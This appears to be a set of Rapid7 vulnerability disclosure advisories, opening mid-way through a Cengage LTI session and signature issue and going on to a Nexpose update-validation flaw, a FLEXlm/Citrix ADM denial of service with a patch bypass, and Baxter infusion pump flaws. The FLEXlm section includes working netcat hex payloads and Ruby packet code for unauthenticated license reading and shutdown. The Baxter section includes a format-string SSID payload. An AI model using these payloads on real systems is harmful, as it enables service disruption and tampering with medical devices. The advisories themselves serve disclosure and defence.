For the CWE-525 issue, it was observed that the "Cengage Single Sign-On" link was usable in the browser history, even though the user had already logged out of the application:

Cengage LTI Session Management Leakage

Clicking the circled link would log the user back in, and was active for at least an hour post-logout.

For the CWE-347 issue, it was observed that the signature check on an LTI launch request to https://gateway.cengage.com/rest/launchBasicLTI responds with a hidden form post containing the LTI parameters from https://gateway.cengage.com/launchBasicLTI/smartlink/basicLTILaunch.gwy as well as a field signatureVerified that is set to false if the signature is invalid. An end user could alter this response by setting signatureVerified to true, as shown below:

Cengage LTI Session Management Leakage

Once modified, the LTI session context would then be accepted by the server as authentic.

Impact

For the CWE-525 issue involving cached credentials, an attacker wishing to impersonate an authenticated user would either need to have access to the browser session of the targeted user, or access to network proxy logs which can cache these tokens (thus, implying a privileged position either locally or on the local network). Assuming this is the case, the attacker could go on to read and alter personal information involving the student. It appears possible to similarly hijack the sessions of instructors or administrators, but this hasn’t been tested or confirmed directly.

For the CWE-347 issue involving signature verification, an authenticated attacker may be able to assume sessions belonging to other users, possibly including other students, instructors, and administrators.

Vendor Statement

Cengage is continuously implementing and refining measures aimed to protect the privacy and security of the customer information entrusted to us. We value the contributions of security researchers like you, as reviews like this help us strengthen our security posture. We use multiple tools and processes, including DAST, SAST, penetration testing and VDP to identify and address security defects in our software.

[The CWE-347 issue] was fixed on December 9, 2022. The second issue is currently in remediation, and we plan to launch a fix as soon as possible.

We continually update and regularly identify ways we can improve our products both to better the learning experience for students and instructors and to ensure information remains secure. If you have found something you would like to report, please submit at https://bugcrowd.com/cengage-vdp.

Remediation

In December of 2022, Cengage released an update to its webassign.net service to address the CWE-347 (signature verification) issue, and is developing a fix for the CWE-525 issue, which we expect to see in March of 2023. Since this is a SaaS-based/cloud-hosted solution, end users, implementers, and integrators should not need to do anything to update or patch locally to address the signature verification issue — the latest version of the LTI implementation will already be available. Beyond this fix, end users have nothing to do to ensure they’re safe from impersonation, as they’re reliant on the provider to properly verify signatures.

While the SSO issue is being developed, end users would be wise to completely sign out of the local computer when complete with whatever academic tasks they were performing, as this would prevent opportunistic attackers from using stored session tokens locally. This is generally good advice anyway, even after the CWE-525 issue is resolved.

Avoiding caching session tokens inadvertently exposed through GET requests on a web proxy is more difficult for the average user to avoid, but as long as no untrusted users have access to proxy logs, the risk from exploiting proxy-cached session tokens is remote (an attacker who does have access to web proxies used by students, instructors, and administrators tend to already have more expansive offensive options).

Disclosure Timeline

  • September, 2022: Issue discovered by Tony Porterfield
  • Mon, Sep 12, 2022: Contacted Bugcrowd, Cengage’s VDP provider, to work out a disclosure agreement
  • Mon, Sep 19, 2022: Contact attempted to alternate contacts at Cengage
  • Wed, Sep 21, 2022: Agreement reached on disclosure terms
  • Thu, Sep 22, 2022: Vulnerability details communicated to Cengage via Bugcrowd with a public disclosure goal of November 15, 2022.
  • Fri, Sep 23, 2022: Triage begun at Bugcrowd (Issue 4464ed3d-3fb6-4287-ba46-786d21bebad0)
  • Sep 23 – Oct 25, 2022: Triage and reproduction work continued
  • Oct 26, 2022: Bugcrowd verified reproduction of the report
  • Nov 1, 2022: Extended disclosure time by approximately 30 days
  • Thu, Dec 15, 2022: Vendor provided update on fix status
  • Fri, Dec 20, 2022: This public disclosure

CVE-2022-4261: Rapid7 Nexpose Update Validation Issue (FIXED)

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2022/12/07/cve-2022-4261-rapid7-nexpose-update-validation-issue-fixed/

CVE-2022-4261: Rapid7 Nexpose Update Validation Issue (FIXED)

On November 14, 2022, Rapid7’s product engineering team discovered that the mechanism used to validate the source of an update file was unreliable. This failure involving the internal cryptographic validation of received updates was designated as CVE-2022-4261, and is an instance of CWE-494. Rapid7’s estimate of the CVSSv3.1 base rating for this vulnerability for most environments is 4.4 (Medium). This issue is resolved in the regular December 7, 2022 release.

Product Description

Rapid7 Nexpose is an on-premise vulnerability scanner, used by many enterprises around the world to assess and manage the vulnerability exposures present in their networks. You can read more about Nexpose at our website.

Note that CVE-2022-4261 only affects the on-premise Nexpose product, and does not affect InsightVM.

Credit

This issue was discovered by Rapid7 Principal Software Engineer Emmett Kelly and validated by the Rapid7 Nexpose product team. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

Exploitation of this issue is complex, and requires an attacker already in a privileged position in the network. By understanding these complications, we believe our customers will be better able to make appropriate judgements on the risk of delaying this update, perhaps due to established change control procedures.

In order to exploit CVE-2022-4261, an attacker would first need to be in a position to provide a malicious update to Nexpose, either through a privileged position on the network, on the local computer that runs Nexpose (with sufficient privileges to initiate an update), or by convincing a Nexpose administrator to apply a maliciously-crafted update through social engineering. Once applied, the update could introduce new functionality to Nexpose that would benefit the attacker.

Impact

Given the requirement of a privileged position on the network or local machine, exploiting CVE-2022-4261, in most circumstances, is academic. Such an adversary is likely to already have many other (and often easier) choices when it comes to leveraging this position to cause trouble on the target network. In the case of a local machine compromise (which is the most likely attack scenario), the attacker could use this position to instead create a fairly permanent ingress avenue to the internal network and exercise the usual lateral movement options documented as ATT&CK technique T1557.

Remediation

Disabling automatic updates completely removes the risk of exploitation of CVE-2022-4261. That said, most Nexpose administrators already employ Nexpose’s automated updates, and should apply updates either on their already established automated schedules or as soon as it’s convenient to do so.

Nexpose administrators that are especially concerned that they will be targeted during their next update, or who believe they have already been compromised by persistent attackers, should disable automatic updates and use the documented Managing Updates without an Internet Connection procedure to fix this issue, after manually validating the authenticity of the update package.

Fixing an update system with an update is always fairly complex, given the chicken-and-egg nature of the problem being addressed, as well as the risks involved in using an update system to fix an update system. So, it is out of an abundance of caution that we are publishing this advisory today to ensure that customers who rely on automatic updates are made plainly aware of this issue and can plan accordingly.

Disclosure Timeline

  • Mon, Nov 14, 2022: Issue discovered by Emett Kelly, and validated by the Nexpose product team.
  • Thu, Dec 1, 2022: CVE-2022-4261 reserved by Rapid7.
  • Wed, Dec 7, 2022 : This disclosure and update 6.6.172 released.

FLEXlm and Citrix ADM Denial of Service Vulnerability

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2022/10/18/flexlm-and-citrix-adm-denial-of-service-vulnerability/

On June 27, 2022, Citrix released an advisory for CVE-2022-27511 and CVE-2022-27512, which affect Citrix ADM (Application Delivery Management).

Rapid7 investigated these issues to better understand their impact, and found that the patch is not sufficient to prevent exploitation. We also determined that the worst outcome of this vulnerability is a denial of service – the licensing server can be told to shut down (even with the patch). We were not able to find a way to reset the admin password, as the original bulletin indicated.

In the course of investigating CVE-2022-27511 and CVE-2022-27512, we determined that the root cause of the issues in Citrix ADM was a vulnerable implementation of popular licensing software FLEXlm, also known as FlexNet Publisher. This disclosure addresses both the core issue in FLEXlm and Citrix ADM’s implementation of it (which resulted in both the original CVEs and later the patch bypass our research team discovered). Rapid7 coordinated disclosure with both companies and CERT/CC.

As of this publication, these issues remain unpatched, so IT defenders are urged to reach out to Revenera and Citrix for direct guidence on mitigating these denial of service vulnerabilities and CVE assignment.

Products

FLEXlm is a license management application that is part of FlexNet licensing, provided by Revenera’s Flexnet Software, and is used for license provisioning on many popular network applications, including Citrix ADM. You can read more about FlexNet at the vendor’s website.

Citrix ADM is an application provisioning solution from Citrix, which uses FLEXlm for license management. You can read more about Citrix ADM at the vendor’s website.

Discoverer

This issue was discovered by Ron Bowes of Rapid7 while researching CVE-2022-27511 in Citrix ADM. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

Citrix ADM runs on FreeBSD, and remote administrative logins are possible. Using that, we compared two different versions of the Citrix ADM server – before and after the patch.

Eventually, we went through each network service, one by one, to check what each one did and whether the patch may have fixed something. When we got to TCP port 27000, we found that lmgrd was running. Looking up lmgrd, we determined that it’s a licensing server made by FLEXlm called FlexNet Licensing (among other names), made by Revenera. Since the bulletin calls out licensing disruption, this seemed like a sensible place to look; from the bulletin:

Temporary disruption of the ADM license service. The impact of this includes preventing new licenses from being issued or renewed by Citrix ADM.

If we look at how lmgrd is executed before and after the patch, we find that the command line arguments changed; before:

bash-3.2# ps aux | grep lmgrd
root         3506   0.0  0.0   10176   6408  -  S    19:22      0:09.67 /netscaler/lmgrd -l /var/log/license.log -c /mpsconfig/license

And after:

bash-3.2# ps aux | grep lmgrd
root         5493   0.0  0.0   10176   5572  -  S    13:15     0:02.45 /netscaler/lmgrd -2 -p -local -l /var/log/license.log -c /mpsconfig/license

If we look at some online documentation, we see that the -2 -p flags are security-related:

-2 -p    Restricts usage of lmdown, lmreread, and lmremove to a FLEXlm administrator who is by default root. [...]

Patch Analysis

We tested a Linux copy of FlexNet 11.18.3.1, which allowed us to execute and debug Flex locally. Helpfully, the various command line utilities that FlexNet uses to perform actions (accessible via lmutil) use a TCP connection to localhost, allowing us to analyze the traffic. For example, the following command:

$ ./lmutil lmreread -c ./license/citrix_startup.lic
lmutil - Copyright (c) 1989-2021 Flexera. All Rights Reserved.
lmreread successful

Generates a lot of traffic going to localhost:27000, including:

Sent:

00000000  2f 4c 0f b0 00 40 01 02  63 05 2c 85 00 00 00 00   /L...@.. c.,.....
00000010  00 00 00 02 01 04 0b 12  00 54 00 78 00 02 0b af   ........ .T.x....
00000020  72 6f 6e 00 66 65 64 6f  72 61 00 2f 64 65 76 2f   ron.fedo ra./dev/
00000030  70 74 73 2f 32 00 00 78  36 34 5f 6c 73 62 00 01   pts/2..x 64_lsb..

Received:

    00000000  2f 8f 09 c6 00 26 01 0e  63 05 2c 85 41 00 00 00   /....&.. c.,.A...
    00000010  00 00 00 02 0b 12 01 04  00 66 65 64 6f 72 61 00   ........ .fedora.
    00000020  6c 6d 67 72 64 00                                  lmgrd.

Sent:

00000040  2f 23 34 78 00 24 01 07  63 05 2c 86 00 00 00 00   /#4x.$.. c.,.....
00000050  00 00 00 02 72 6f 6e 00  66 65 64 6f 72 61 00 00   ....ron. fedora..
00000060  92 00 00 0a                                        ....

Received:

    00000026  2f 54 18 b9 00 a8 00 4f  63 05 2c 86 41 00 00 00   /T.....O c.,.A...
    00000036  00 00 00 02 4f 4f 00 00  00 00 00 00 00 00 00 00   ....OO.. ........
    00000046  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000056  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000066  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000076  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000086  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000096  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    000000A6  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    000000B6  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    000000C6  00 00 00 00 00 00 00 00                            ........ 

If we start the service with the -2 -p flag, we can no longer run lmreread:

$ ./lmutil lmreread -c ./license/citrix_startup.lic
lmutil - Copyright (c) 1989-2021 Flexera. All Rights Reserved.
lmreread failed: You are not a license administrator. (-63,294)

That appears to be working as intended! Or does it?

Protocol Analysis

We spent a substantial amount of time reverse engineering FlexNet’s protocol. FlexNet uses a binary protocol with a lot of support and code paths for different (and deprecated) versions of the protocol. But we built a tool (that you can get on GitHub) that implements the interesting parts of the protocol.

It turns out, even ignoring the vulnerability, you can do a whole bunch of stuff against the FlexNet service, and none of it even requires authentication! For example, you can grab the path to the license file:

$ echo -ne "\x2f\xa9\x21\x3a\x00\x3f\x01\x08\x41\x41\x41\x41\x42\x42\x42\x42\x43\x00\x44\x44\x01\x04\x72\x6f\x6f\x74\x00\x43\x69\x74\x72\x69\x78\x41\x44\x4d\x00\x6c\x6d\x67\x72\x64\x00\x2f\x64\x65\x76\x2f\x70\x74\x73\x2f\x31\x00\x67\x65\x74\x70\x61\x74\x68\x73\x00" | nc 10.0.0.9 27000
LW37/mpsconfig/license/citrix_startup.lic

You can even grab the whole license file:

$ echo -ne "\x2f\x8a\x17\x2d\x00\x37\x01\x08\x41\x41\x41\x41\x42\x42\x42\x42\x43\x00\x44\x44\x01\x04\x72\x6f\x6f\x74\x00\x43\x69\x74\x72\x69\x78\x41\x44\x4d\x00\x6c\x6d\x67\x72\x64\x
00\x2f\x64\x65\x76\x2f\x70\x74\x73\x2f\x31\x00\x00" | nc -v 10.0.0.9 27000
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.9:27000.
L6194# DO NOT REMOVE THIS COMMENT LINE
# "のコメント行は削除しLK6060NEN
# NE SUPPRIMEZ PAS CETTE LIGNE DE COMMENTAIRE
# NO ELIMINAR ESTA LÍNL5926IX PORT=7279

And you can also remotely re-load the license file and shut down the service if the -p -2 flag is not set when the server starts. That’s the core of the original CVEs – that those flags aren’t used and therefore a remote user can take administrative actions.

Patch Bypass

The problem is, all of the security features (including declaring your username and privilege level) are client-side choices, which means that without knowing any secret information, the client can self-declare that they are privileged.

This is what the "authentication" message looks like in flexnet-tools.rb:

  send_packet(0x2f, 0x0102,
    "\x01\x04" + # If the `\x04` value here is non-zero, we are permitted to log in
    "\x0b\x10" + # Read as a pair of uint16s
    "\x00\x54" + # Read as single uint16
    "\x00\x78" + # Read as single uint16
    "\x00\x00\x16\x97" + # Read as uint32
    "root\x00" +
    "CitrixADM\x00" +
    "/dev/pts/1\x00" +
    "\x00" + # If I add a string here, the response changes
    "x86_f8\x00" +
    "\x01"
  )

In that example, root is the username, and CitrixADM is the host. Those can be set to whatever the client chooses, and permissions and logs will reflect that. The first field, \x01\x04, is also part of the authentication process, where the \x04 value specifically enables remote authorization – while we found the part of the binary that reads that value, we are not clear what the actual purpose is.

By declaring oneself as root@CitrixADM (using that message), it bypasses the need to actually authenticate. The lmdown field, for shutting down the licensing server, has an addition required field:

when 'lmdown'
  out = send_packet(0x2f, 0x010a,
    "\x00" + # Forced?
    "root\x00" + # This is used in a log message
    "CitrixADM\x00" +
    "\x00" +
    "\x01\x00\x00\x7f" +
    "\x00" +
    (LOGIN ? "islocalSys" : "") + # Only attach islocalSys if we're logging in
    "\x00"
  )

The islocalSys value self-identifies the client as privileged, and therefore it is allowed to bypass the -2 -p flag and perform restricted actions. This bypasses the patch.

Impact

Remotely shutting down the FLEXlm licensing server can cause a denial of service condition in the software for which that licensing server is responsible. In this particular case, exploiting this vulnerability can cause a disruption in provisioning licenses through Citrix ADM.

Remediation

In the absence of a vendor-supplied patch, users of software that relies on FLEXlm should not expose port 27000/TCP to untrusted networks. Note that in many cases, this would remove the functionality of the license server entirely.

Disclosure Timeline

This issue was disclosed in accordance with Rapid7’s [vulnerability disclosure] policy(https://www.rapid7.com/security/disclosure/#zeroday), but with a slightly faster initial release to CERT/CC, due to the multivendor nature of the issue.

  • June, 2022: Issues discovered and documented by Rapid7 researcher Ron Bowes
  • Tue, Jul 5, 2022: Disclosed to Citrix via their PSIRT team
    Thu, Jul 7, 2022: Disclosed to Flexera via their PSIRT team
  • Wed, Jul 12, 2022: Disclosed to CERT/CC (VU#300762)
  • July – October, 2022: Disclosure discussions between Rapid7, Citrix, Flexera, and CERT/CC through VINCE (Case 603).
  • Tue, Oct 18, 2022: This public disclosure

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

Post Syndicated from Deral Heiland original https://blog.rapid7.com/2022/09/08/baxter-sigma-spectrum-infusion-pumps-multiple-vulnerabilities-fixed/

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

Rapid7, Inc. (Rapid7) discovered vulnerabilities in two TCP/IP-enabled medical devices produced by Baxter Healthcare. The affected products are:

  • SIGMA Spectrum Infusion Pump (Firmware Version 8.00.01)
  • SIGMA Wi-Fi Battery (Firmware Versions 16, 17, 20 D29)

Rapid7 initially reported these issues to Baxter on April 20, 2022. Since then, members of our research team have worked alongside the vendor to discuss the impact, resolution, and a coordinated response for these vulnerabilities.

Product description

Baxter’s SIGMA Spectrum product is a commonly used brand of infusion pumps, which are typically used by hospitals to deliver medication and nutrition directly into a patient’s circulatory system. These TCP/IP-enabled devices deliver data to healthcare providers to enable more effective, coordinated care.

Credit

The vulnerabilities in two TCP/IP-enabled medical devices were discovered by Deral Heiland, Principal IoT Researcher at Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy after coordination with the vendor.

Vendor statement

“In support of our mission to save and sustain lives, Baxter takes product security seriously. We are committed to working with the security researcher community to verify and respond to legitimate vulnerabilities and ask researchers to participate in our responsible reporting process. Software updates to disable Telnet and FTP (CVE-2022-26392) are in process. Software updates to address the format string attack (CVE-2022-26393) are addressed in WBM version 20D30 and all other WBM versions. Authentication is already available in Spectrum IQ (CVE-2022-26394). Instructions to erase all data and settings from WBMs and pumps before decommissioning and transferring to other facilities (CVE-2022-26390) are in process for incorporation into the Spectrum Operator’s Manual and are available in the Baxter Security Bulletin.”

Exploitation and remediation

This section details the potential for exploitation and our remediation guidance for the issues discovered and reported by Rapid7, so that defenders of this technology can gauge the impact of, and mitigations around, these issues appropriately.

Battery units store Wi-Fi credentials (CVE-2022-26390)

Rapid7 researchers tested Spectrum battery units for vulnerabilities. We found all units that were tested store Wi-Fi credential data in non-volatile memory on the device.

When a Wi-Fi battery unit is connected to the primary infusion pump and the infusion pump is powered up, the pump will transfer the Wi-Fi credential to the battery unit.

Exploitation

An attacker with physical access to an infusion pump could install a Wi-Fi battery unit (easily purchased on eBay), and then quickly power-cycle the infusion pump and remove the Wi-Fi battery – allowing them to walk away with critical Wi-Fi data once a unit has been disassembled and reverse-engineered.

Also, since these battery units store Wi-Fi credentials in non-volatile memory, there is a risk that when the devices are de-acquisitioned and no efforts are made to overwrite the stored data, anyone acquiring these devices on the secondary market could gain access to critical Wi-Fi credentials of the organization that de-acquisitioned the devices.

Remediation

To mitigate this vulnerability, organizations should restrict physical access by any unauthorized personnel to the infusion pumps or associated Wi-Fi battery units.

In addition, before de-acquisitioning the battery units, batteries should be plugged into a unit with invalid or blank Wi-Fi credentials configured and the unit powered up. This will overwrite the Wi-Fi credentials stored in the non-volatile memory of the batteries. Wi-Fi must be enabled on the infusion pump unit for this overwrite to work properly.

Format string vulnerabilities

“Hostmessage” (CVE-2022-26392)

When running a telnet session on the Baxter Sigma Wi-Fi Battery Firmware Version 16, the command “hostmessage” is vulnerable to format string vulnerability.

Exploitation

An attacker could trigger this format string vulnerability by entering the following command during a telnet session:

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

To view the output of this format string vulnerability, `settrace state=on` must be enabled in the telnet session. `set trace` does not need to be enabled for the format string vulnerability to be triggered, but it does need to be enabled if the output of the vulnerability is to be viewed.

Once `set trace` is enabled and showing output within the telnet session screen, the output of the vulnerability can be viewed, as shown below, where each `%x` returned data from the device’s process stack.

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

SSID (CVE-2022-26393)

Rapid7 also found another format string vulnerability on Wi-Fi battery software version 20 D29. This vulnerability is triggered within SSID processing by the `get_wifi_location (20)` command being sent via XML to the Wi-Fi battery at TCP port 51243 or UDP port 51243.

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

Exploitation

This format string vulnerability can be triggered by first setting up a Wi-Fi access point containing format string specifiers in the SSID. Next, an attacker could send a `get_wifi_location (20)` command via TCP Port 51243 or UDP port 51243 to the infusion pump. This causes the device to process the SSID name of the access point nearby and trigger the exploit.  The results of the triggering of format strings can be viewed with trace log output within a telnet session as shown below.

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

The SSID of `AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x` allows for control of 4 bytes on the stack, as shown above, using the `%x` to walk the stack until it reaches 41414141. By changing the leading `AAAA` in the SSID, a malicious actor could potentially use the format string injection to read and write arbitrary memory. At a minimum, using format strings of `%s` and `%n` could allow for a denial of service (DoS) by triggering an illegal memory read (`%s`) and/or illegal memory write (`%n`).

Note that in order to trigger this DoS effect, the attacker would need to be within normal radio range and either be on the device’s network or wait for an authorized `get_wifi_location` command (the latter would itself be a usual, non-default event).

Remediation

To prevent exploitation, organizations should restrict access to the network segments containing the infusion pumps. They should also monitor network traffic for any unauthorized host communicating over TCP and UDP port 51243 to infusion pumps. In addition, be sure to monitor Wi-Fi space for rogue access points containing format string specifiers within the SSID name.

Unauthenticated network reconfiguration via TCP/UDP (CVE-2022-26394)

All Wi-Fi battery units tested (versions 16, 17, and 20 D29) allowed for remote unauthenticated changing of the SIGMA GW IP address. The SIGMA GW setting is used for configuring the back-end communication services for the devices operation.

Exploitation

An attacker could accomplish a remote redirect of SIGMA GW by sending an XML command 15 to TCP or UDP port 51243. During testing, only the SIGMA GW IP was found to be remotely changeable using this command. An example of this command and associated structure is shown below:

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

This could be used by a malicious actor to man-in-the-middle (MitM) all the communication initiated by the infusion pump. This could lead to information leakage and/or data being manipulated by a malicious actor.

Remediation

Organizations using SIGMA Spectrum products should restrict access to the network segments containing the infusion pumps. They should also monitor network traffic for any unauthorized host communicating over TCP and UDP port 51243 to the infusion pumps.

UART configuration access to Wi-Fi configuration data (additional finding)

The SIGMA Spectrum infusion pump unit transmits data unencrypted to the Wi-Fi battery unit via universal asynchronous receiver-transmitter (UART). During the power-up cycle of the infusion pump, the first block of data contains the Wi-Fi configuration data. This communication contains the SSID and 64-Character hex PSK.

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

Exploitation

A malicious actor with physical access to an infusion pump can place a communication shim between the units (i.e., the pump and the Wi-Fi battery) and capture this data during the power-up cycle of the unit.

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

Remediation

To help prevent exploitation, organizations should restrict physical access by unauthorized persons to the infusion pumps and associated Wi-Fi battery units.

Note that this is merely an additional finding based on physical, hands-on access to the device. While Baxter has addressed this finding through better decommissioning advice to end users, this particular issue does not rank for its own CVE identifier, as local encryption is beyond the scope of the hardware design of the device.

Disclosure timeline

Baxter is an exemplary medical technology company with an obvious commitment to patient and hospital safety. While medtech vulnerabilities can be tricky and expensive to work through, we’re quite pleased with the responsiveness, transparency, and genuine interest shown by Baxter’s product security teams.

  • April, 2022: Issues discovered by Deral Heiland of Rapid7
  • Wed, April 20, 2022: Issues reported to Baxter product security
  • Wed, May 11, 2022: Update requested from Baxter
  • Wed, Jun 1, 2022: Teleconference with Baxter and Rapid7 presenting findings
  • Jun-Jul 2022: Several follow up conversations and updates between Baxter and Rapid7
  • Tue, Aug 2, 2022: Coordination tracking over VINCE and more teleconferencing involving Baxter, Rapid7, CERT/CC, and ICS-CERT (VU#142423)
  • Wed, Aug 31, 2022: Final review of findings and mitigations
  • Thu Sep 8, 2022: Baxter advisory published
  • Thu, Sep 8, 2022: Public disclosure of these issues
  • Thu, Sep 8, 2022: ICS-CERT advisory published

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading: